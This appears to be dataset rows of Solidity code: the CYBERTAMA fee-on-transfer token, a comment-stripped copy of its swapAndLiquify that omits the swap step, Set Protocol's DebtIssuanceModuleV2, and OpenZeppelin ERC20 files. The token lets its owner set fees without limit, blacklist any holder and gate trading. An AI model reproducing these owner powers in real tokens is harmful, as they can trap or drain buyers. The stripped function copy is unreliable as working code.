@openzeppelin/contracts/token/ERC20/IERC20.sol // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/cybers.sol pragma solidity ^0.8.10; contract CYBERTAMAToken is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) public _isBlackListed; mapping(address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1 * 10**9 * 10**18; //1 billion tokens uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = "CYBERTAMA"; string private _symbol = "CYBER"; uint8 private _decimals = 18; struct BuyFee { uint16 liquidityFee; uint16 marketingFee; uint16 buybackFee; uint16 taxFee; } struct SellFee { uint16 liquidityFee; uint16 marketingFee; uint16 buybackFee; uint16 taxFee; } BuyFee public buyFee; SellFee public sellFee; uint16 private _taxFee; uint16 private _liquidityFee; uint16 private _marketingFee; uint16 private _buybackFee; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; address public _marketingWallet = payable(address(0xfac820D7fa7267cc7A9213006a477c064b3bFf80)); address public _buybackWallet = payable(address(0x58550ec20AA8D496eCdB8Fb8aa9231Da79850c98)); bool internal inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; bool public isTradingEnabled; uint256 public maxBuyAmount; uint256 public maxSellAmount; uint256 public maxWalletAmount; uint256 private numTokensSellToAddToLiquidity = 1 * 10**5 * 10**18; // 100k tokens event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap() { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor() { _rOwned[_msgSender()] = _rTotal; buyFee.liquidityFee = 2; buyFee.marketingFee = 7; buyFee.buybackFee = 1; //dev wallet buyFee.taxFee = 2; sellFee.liquidityFee = 2; sellFee.marketingFee = 7; sellFee.buybackFee = 1; //dev wallet sellFee.taxFee = 2; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; maxSellAmount = totalSupply().mul(125).div(100000); maxBuyAmount = totalSupply().mul(125).div(100000); maxWalletAmount = totalSupply().mul(5).div(1000); emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require( !_isExcluded[sender], "Excluded addresses cannot call this function" ); (uint256 rAmount, , , , , ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns (uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount, , , , , ) = _getValues(tAmount); return rAmount; } else { (, uint256 rTransferAmount, , , , ) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner { require(!_isExcluded[account], "Account is already excluded"); if (_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function excludeFromFee(address account) external onlyOwner { _isExcludedFromFee[account] = true; } function setBlackList(address addr, bool value) external onlyOwner { _isBlackListed[addr] = value; } function enableTrading() external onlyOwner { isTradingEnabled = true; } function includeInFee(address account) external onlyOwner { _isExcludedFromFee[account] = false; } function setBuyFee( uint16 liq, uint16 market, uint16 buyback, uint16 tax ) external onlyOwner { buyFee.liquidityFee = liq; buyFee.marketingFee = market; buyFee.buybackFee = buyback; buyFee.taxFee = tax; } function setSellFee( uint16 liq, uint16 market, uint16 buyback, uint16 tax ) external onlyOwner { sellFee.liquidityFee = liq; sellFee.marketingFee = market; sellFee.buybackFee = buyback; sellFee.taxFee = tax; } function setNumTokensSellToAddToLiquidity(uint256 numTokens) external onlyOwner { numTokensSellToAddToLiquidity = numTokens; } function updateRouter(address newAddress) external onlyOwner { require(newAddress != address(uniswapV2Router), "TOKEN: The router already has that address"); uniswapV2Router = IUniswapV2Router02(newAddress); address get_pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH()); if (get_pair == address(0)) { uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); } else { uniswapV2Pair = get_pair; } } function setMaxWallet(uint256 value) external onlyOwner { maxWalletAmount = value * 10**18; } function setMaxBuyAmount(uint256 value) external onlyOwner { maxBuyAmount = value * 10**18; } function setMaxSellAmount(uint256 value) external onlyOwner { maxSellAmount = value * 10**18; } function setMarketingWallet (address payable wallet) external onlyOwner { require (wallet != address(0), "marketingWallet address can not be zero!"); _marketingWallet = wallet; } function setBuyBackWallet (address payable wallet) external onlyOwner { require (wallet != address(0), "buybackWallet address can not be zero!"); _buybackWallet = wallet; } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } function claimStuckTokens(address _token) external onlyOwner { require(_token != address(this), "No rug pulls :)"); if (_token == address(0x0)) { payable(owner()).transfer(address(this).balance); return; } IERC20 erc20token = IERC20(_token); uint256 balance = erc20token.balanceOf(address(this)); erc20token.transfer(owner(), balance); } //to recieve ETH from uniswapV2Router when swaping receive() external payable { this; } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { ( uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tBuyback, uint256 tMarketing ) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tLiquidity, tBuyback, tMarketing, _getRate() ); return ( rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity ); } function _getTValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256 ) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tBuyback = calculateBuyBackFee(tAmount); uint256 tMarketing = calculateMarketingFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); tTransferAmount = tTransferAmount.sub(tBuyback).sub(tMarketing); return (tTransferAmount, tFee, tLiquidity, tBuyback, tMarketing); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 tBuyback, uint256 tMarketing, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rBuyback = tBuyback.mul(currentRate); uint256 rMarketing = tMarketing.mul(currentRate); uint256 rTransferAmount = rAmount .sub(rFee) .sub(rLiquidity) .sub(rBuyback) .sub(rMarketing); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if ( _rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply ) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if (_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function _takeRewardAndMarketing(uint256 tBuyback, uint256 tMarketing) private { uint256 currentRate = _getRate(); uint256 rBuyback = tBuyback.mul(currentRate); uint256 rMarketing = tMarketing.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rMarketing).add( rBuyback ); _tOwned[address(this)] = _tOwned[address(this)].add(tMarketing).add( tBuyback ); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div(10**2); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div(10**2); } function calculateBuyBackFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_buybackFee).div(10**2); } function calculateMarketingFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_marketingFee).div(10**2); } function removeAllFee() private { _taxFee = 0; _liquidityFee = 0; _buybackFee = 0; _marketingFee = 0; } function setBuy() private { _taxFee = buyFee.taxFee; _liquidityFee = buyFee.liquidityFee; _buybackFee = buyFee.buybackFee; _marketingFee = buyFee.marketingFee; } function setSell() private { _taxFee = sellFee.taxFee; _liquidityFee = sellFee.liquidityFee; _buybackFee = sellFee.buybackFee; _marketingFee = sellFee.marketingFee; } function isExcludedFromFee(address account) public view returns (bool) { return _isExcludedFromFee[account]; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBlackListed[from] && !_isBlackListed[to],"Account is blacklisted"); require(isTradingEnabled || _isExcludedFromFee[from], "Trading is not enabled yet"); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + liquidity lock? // also, don't get caught in a circular liquidity event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { contractTokenBalance = numTokensSellToAddToLiquidity; uint256 forMarketing = contractTokenBalance .mul(buyFee.marketingFee + sellFee.marketingFee) .div( buyFee.marketingFee + sellFee.marketingFee + buyFee.liquidityFee + sellFee.liquidityFee + buyFee.buybackFee + sellFee.buybackFee ); swapAndSendMarketing(forMarketing); uint256 forBuyBack = contractTokenBalance .mul(buyFee.buybackFee + sellFee.buybackFee) .div( buyFee.marketingFee + sellFee.marketingFee + buyFee.liquidityFee + sellFee.liquidityFee + buyFee.buybackFee + sellFee.buybackFee ); swapAndSendBuyBack(forBuyBack); swapAndLiquify(contractTokenBalance - forMarketing - forBuyBack); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } //transfer amount, it will take tax, buyback, liquidity fee _tokenTransfer(from, to, amount, takeFee); } function swapAndLiquify(uint256 tokens) private lockTheSwap{ // split the contract balance into halves uint256 half = tokens.div(2); uint256 otherHalf = tokens.sub(half); uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); // add liquidity to uniswap addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } function swapAndSendMarketing(uint256 amount) private lockTheSwap { uint256 initialBalance = address(this).balance; swapTokensForEth(amount); uint256 newBalance = address(this).balance.sub(initialBalance); payable(_marketingWallet).transfer(newBalance); } function swapAndSendBuyBack(uint256 amount) private lockTheSwap { uint256 initialBalance = address(this).balance; swapTokensForEth(amount); uint256 newBalance = address(this).balance.sub(initialBalance); payable(_buybackWallet).transfer(newBalance); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable address(0xdead), block.timestamp ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { removeAllFee(); if (takeFee) { if (recipient != uniswapV2Pair) { require( balanceOf(recipient) + amount <= maxWalletAmount, "Balance exceeds limit" ); } if (sender == uniswapV2Pair) { require(amount <= maxBuyAmount, "Buy exceeds limit"); setBuy(); } if (recipient == uniswapV2Pair) { require(amount <= maxSellAmount, "Sell exceeds limit"); setSell(); } } if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _takeRewardAndMarketing( calculateBuyBackFee(tAmount), calculateMarketingFee(tAmount) ); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _takeRewardAndMarketing( calculateBuyBackFee(tAmount), calculateMarketingFee(tAmount) ); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _takeRewardAndMarketing( calculateBuyBackFee(tAmount), calculateMarketingFee(tAmount) ); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _takeRewardAndMarketing( calculateBuyBackFee(tAmount), calculateMarketingFee(tAmount) ); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } }
split the contract balance into halves swap tokens for ETH how much ETH did we just swap into? add liquidity to uniswap
function swapAndLiquify(uint256 tokens) private lockTheSwap{ uint256 half = tokens.div(2); uint256 otherHalf = tokens.sub(half); uint256 initialBalance = address(this).balance; uint256 newBalance = address(this).balance.sub(initialBalance); addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); }
1,273,416
/* Copyright 2021 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; pragma experimental "ABIEncoderV2"; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import { DebtIssuanceModule } from "./DebtIssuanceModule.sol"; import { IController } from "../../interfaces/IController.sol"; import { Invoke } from "../lib/Invoke.sol"; import { ISetToken } from "../../interfaces/ISetToken.sol"; import { IssuanceValidationUtils } from "../lib/IssuanceValidationUtils.sol"; /** * @title DebtIssuanceModuleV2 * @author Set Protocol * * The DebtIssuanceModuleV2 is a module that enables users to issue and redeem SetTokens that contain default and all * external positions, including debt positions. Module hooks are added to allow for syncing of positions, and component * level hooks are added to ensure positions are replicated correctly. The manager can define arbitrary issuance logic * in the manager hook, as well as specify issue and redeem fees. * * NOTE: * DebtIssuanceModule contract confirmed increase/decrease in balance of component held by the SetToken after every transfer in/out * for each component during issuance/redemption. This contract replaces those strict checks with slightly looser checks which * ensure that the SetToken remains collateralized after every transfer in/out for each component during issuance/redemption. * This module should be used to issue/redeem SetToken whose one or more components return a balance value with +/-1 wei error. * For example, this module can be used to issue/redeem SetTokens which has one or more aTokens as its components. */ contract DebtIssuanceModuleV2 is DebtIssuanceModule { /* ============ Constructor ============ */ constructor(IController _controller) public DebtIssuanceModule(_controller) {} /* ============ External Functions ============ */ /** * Deposits components to the SetToken, replicates any external module component positions and mints * the SetToken. If the token has a debt position all collateral will be transferred in first then debt * will be returned to the minting address. If specified, a fee will be charged on issuance. * * NOTE: Overrides DebtIssuanceModule#issue external function and adds undercollateralization checks in place of the * previous default strict balances checks. The undercollateralization checks are implemented in IssuanceValidationUtils library and they * revert upon undercollateralization of the SetToken post component transfer. * * @param _setToken Instance of the SetToken to issue * @param _quantity Quantity of SetToken to issue * @param _to Address to mint SetToken to */ function issue( ISetToken _setToken, uint256 _quantity, address _to ) external override nonReentrant onlyValidAndInitializedSet(_setToken) { require(_quantity > 0, "Issue quantity must be > 0"); address hookContract = _callManagerPreIssueHooks(_setToken, _quantity, msg.sender, _to); _callModulePreIssueHooks(_setToken, _quantity); uint256 initialSetSupply = _setToken.totalSupply(); ( uint256 quantityWithFees, uint256 managerFee, uint256 protocolFee ) = calculateTotalFees(_setToken, _quantity, true); // Prevent stack too deep { ( address[] memory components, uint256[] memory equityUnits, uint256[] memory debtUnits ) = _calculateRequiredComponentIssuanceUnits(_setToken, quantityWithFees, true); uint256 finalSetSupply = initialSetSupply.add(quantityWithFees); _resolveEquityPositions(_setToken, quantityWithFees, _to, true, components, equityUnits, initialSetSupply, finalSetSupply); _resolveDebtPositions(_setToken, quantityWithFees, true, components, debtUnits, initialSetSupply, finalSetSupply); _resolveFees(_setToken, managerFee, protocolFee); } _setToken.mint(_to, _quantity); emit SetTokenIssued( _setToken, msg.sender, _to, hookContract, _quantity, managerFee, protocolFee ); } /** * Returns components from the SetToken, unwinds any external module component positions and burns the SetToken. * If the token has debt positions, the module transfers in the required debt amounts from the caller and uses * those funds to repay the debts on behalf of the SetToken. All debt will be paid down first then equity positions * will be returned to the minting address. If specified, a fee will be charged on redeem. * * NOTE: Overrides DebtIssuanceModule#redeem internal function and adds undercollateralization checks in place of the * previous default strict balances checks. The undercollateralization checks are implemented in IssuanceValidationUtils library * and they revert upon undercollateralization of the SetToken post component transfer. * * @param _setToken Instance of the SetToken to redeem * @param _quantity Quantity of SetToken to redeem * @param _to Address to send collateral to */ function redeem( ISetToken _setToken, uint256 _quantity, address _to ) external override nonReentrant onlyValidAndInitializedSet(_setToken) { require(_quantity > 0, "Redeem quantity must be > 0"); _callModulePreRedeemHooks(_setToken, _quantity); uint256 initialSetSupply = _setToken.totalSupply(); // Place burn after pre-redeem hooks because burning tokens may lead to false accounting of synced positions _setToken.burn(msg.sender, _quantity); ( uint256 quantityNetFees, uint256 managerFee, uint256 protocolFee ) = calculateTotalFees(_setToken, _quantity, false); // Prevent stack too deep { ( address[] memory components, uint256[] memory equityUnits, uint256[] memory debtUnits ) = _calculateRequiredComponentIssuanceUnits(_setToken, quantityNetFees, false); uint256 finalSetSupply = initialSetSupply.sub(quantityNetFees); _resolveDebtPositions(_setToken, quantityNetFees, false, components, debtUnits, initialSetSupply, finalSetSupply); _resolveEquityPositions(_setToken, quantityNetFees, _to, false, components, equityUnits, initialSetSupply, finalSetSupply); _resolveFees(_setToken, managerFee, protocolFee); } emit SetTokenRedeemed( _setToken, msg.sender, _to, _quantity, managerFee, protocolFee ); } /* ============ Internal Functions ============ */ /** * Resolve equity positions associated with SetToken. On issuance, the total equity position for an asset (including default and external * positions) is transferred in. Then any external position hooks are called to transfer the external positions to their necessary place. * On redemption all external positions are recalled by the external position hook, then those position plus any default position are * transferred back to the _to address. */ function _resolveEquityPositions( ISetToken _setToken, uint256 _quantity, address _to, bool _isIssue, address[] memory _components, uint256[] memory _componentEquityQuantities, uint256 _initialSetSupply, uint256 _finalSetSupply ) internal { for (uint256 i = 0; i < _components.length; i++) { address component = _components[i]; uint256 componentQuantity = _componentEquityQuantities[i]; if (componentQuantity > 0) { if (_isIssue) { // Call SafeERC20#safeTransferFrom instead of ExplicitERC20#transferFrom SafeERC20.safeTransferFrom( IERC20(component), msg.sender, address(_setToken), componentQuantity ); IssuanceValidationUtils.validateCollateralizationPostTransferInPreHook(_setToken, component, _initialSetSupply, componentQuantity); _executeExternalPositionHooks(_setToken, _quantity, IERC20(component), true, true); } else { _executeExternalPositionHooks(_setToken, _quantity, IERC20(component), false, true); // Call Invoke#invokeTransfer instead of Invoke#strictInvokeTransfer _setToken.invokeTransfer(component, _to, componentQuantity); IssuanceValidationUtils.validateCollateralizationPostTransferOut(_setToken, component, _finalSetSupply); } } } } /** * Resolve debt positions associated with SetToken. On issuance, debt positions are entered into by calling the external position hook. The * resulting debt is then returned to the calling address. On redemption, the module transfers in the required debt amount from the caller * and uses those funds to repay the debt on behalf of the SetToken. */ function _resolveDebtPositions( ISetToken _setToken, uint256 _quantity, bool _isIssue, address[] memory _components, uint256[] memory _componentDebtQuantities, uint256 _initialSetSupply, uint256 _finalSetSupply ) internal { for (uint256 i = 0; i < _components.length; i++) { address component = _components[i]; uint256 componentQuantity = _componentDebtQuantities[i]; if (componentQuantity > 0) { if (_isIssue) { _executeExternalPositionHooks(_setToken, _quantity, IERC20(component), true, false); // Call Invoke#invokeTransfer instead of Invoke#strictInvokeTransfer _setToken.invokeTransfer(component, msg.sender, componentQuantity); IssuanceValidationUtils.validateCollateralizationPostTransferOut(_setToken, component, _finalSetSupply); } else { // Call SafeERC20#safeTransferFrom instead of ExplicitERC20#transferFrom SafeERC20.safeTransferFrom( IERC20(component), msg.sender, address(_setToken), componentQuantity ); IssuanceValidationUtils.validateCollateralizationPostTransferInPreHook(_setToken, component, _initialSetSupply, componentQuantity); _executeExternalPositionHooks(_setToken, _quantity, IERC20(component), false, false); } } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, 